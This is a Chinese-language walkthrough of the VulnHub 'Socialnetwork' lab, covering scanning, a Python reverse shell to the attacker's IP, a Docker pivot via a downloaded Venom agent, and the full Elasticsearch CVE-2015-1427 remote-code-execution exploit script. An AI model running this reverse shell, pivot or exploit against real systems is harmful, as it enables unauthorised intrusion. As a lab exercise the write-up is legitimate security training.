[VulnHub] - Socialnetwork

靶机信息:
靶机地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
难度:Medium
虚拟机:vmwork(NAT网络)
网络环境:靶机和攻击机在同一网络下
网络 服务可能没有启动,多尝试重启虚拟靶机即可
攻击机:192.168.100.175
靶机:192.168.100.142
docker靶机:172.17.0.3

1. 信息收集

提取指纹信息

arp-scan -l        //局域网内网扫描
发现仅有一个192.168.100.142的IP地址,尝试使用namp扫描


nmap -Pn -sT 192.168.100.142    #-Pn 参数告诉 nmap 跳过主机发现阶段,即它不会尝试确定目标主机是否在线,-sT 参数指定使用 TCP 连接扫描。
发现开放了22 和5000端口

nmap -p22,5000 -Pn -sT -sV 192.168.100.142      //对端口服务进行枚举
这里的关键信息:服务器上运行着基于 python 的 werkzeug,说明服务器可以执行 python,python 版本为 2.7.15

接着对网站目录进行枚举
dirb http://192.168.100.142:5000  //对网站进行目录扫描
进行网页的访问
http://192.168.100.142:5000/
http://192.168.100.142:5000/admin


输入什么就输出什么,感觉没啥特别的

看起来是一个命令执行的页面,因为在前面我们进行枚举了,发现这个网页是一个python的,当然,可以尝试反弹shell

#反弹shell命令
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.175",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);


已经连接进来了

当我在查看目录下的时候疑似发现了docker,ip地址也和访问的hhtp不一样

再次尝试看看是否是docker

ls /.dockerenv
cat /proc/1/cgroup
看来就是一个docker,尝试网段扫描,看看是否有利用的信息

for i in $(seq 1 65535); do ping -c 1 172.17.0.$i; done   //进行16的网段进行遍历
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done      //我这就遍历10个这里发现只有2,和3的ip可以查看,当然2又是本机的ip,我们对3的这个ip进行枚举,当然这里考虑到这个靶机不能nmap 所以,搭建内网穿透


2.内网穿透

项目地址
https://github.com/Dliv3/Venom/releases

需要把这个agent_linux_x64服务传到靶机里去

python http.server 80         //攻击机开启服务
./admin_linux_x64 -lport 9999        //攻击机
wget http://192.168.100.175/agent_linux_x64      //靶机
chmod +x agent_linux_x64                       //靶机
./agent_linux_x64 -rhost 192.168.100.175 -rport 9999     //靶机

在kali配置sock5代理保存退出

vim /etc/proxychains4.conf

使用sock5代理

proxychains nmap  -p9200 -Pn -sT -sV 172.17.0.3      //对获取的靶机进行枚举,发现开放了一个 9200 端口,Elasticsearch 服务,版本为 1.4.2

漏洞利用

searchsploit Elasticsearch

查看36337.py源代码


#!/bin/python2
# coding: utf-8
# Author: Darren Martyn, Xiphos Research Ltd.
# Version: 20150309.1
# Licence: WTFPL - wtfpl.net
import json
import requests
import sys
import readline
readline.parse_and_bind('tab: complete')
readline.parse_and_bind('set editing-mode vi')
__version__ = "20150309.1"

def banner():
    print """\x1b[1;32m
▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓
▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒
▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░
▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░
░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░
 ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░
   ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░
   ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░
                                              ░
 Exploit for ElasticSearch , CVE-2015-1427   Version: %s\x1b[0m""" %(__version__)

def execute_command(target, command):
    payload = """{"size":1, "script_fields": {"lupin":{"script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"}}}""" %(command)
    try:
        url = "http://%s:9200/_search?pretty" %(target)
        r = requests.post(url=url, data=payload)
    except Exception, e:
        sys.exit("Exception Hit"+str(e))
    values = json.loads(r.text)
    fuckingjson = values['hits']['hits'][0]['fields']['lupin'][0]
    print fuckingjson.strip()


def exploit(target):
    print "{*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something"
    while True:
        cmd = raw_input("~$ ")
        if cmd == "exit":
            sys.exit("{!} Shell exiting!")
        else:
            execute_command(target=target, command=cmd)

def main(args):
    banner()
    if len(args) != 2:
        sys.exit("Use: %s target" %(args[0]))
    exploit(target=args[1])

if __name__ == "__main__":
	main(args=sys.argv)

发现代码是python2

python2 36337.py      #运行
proxychains python2 36337.py
proxychains python2 36337.py 172.17.0.3    #说要加上ip才可以,但是还得加上代理

发现passwords下有用户名和密码的hash

MD5解密john得到密码为1337hack ssh登录

服务版本为3.13 系统为linux

本地提权


posted @ 2024-05-11 01:54  AuriGe  阅读(8)  评论(0编辑  收藏  举报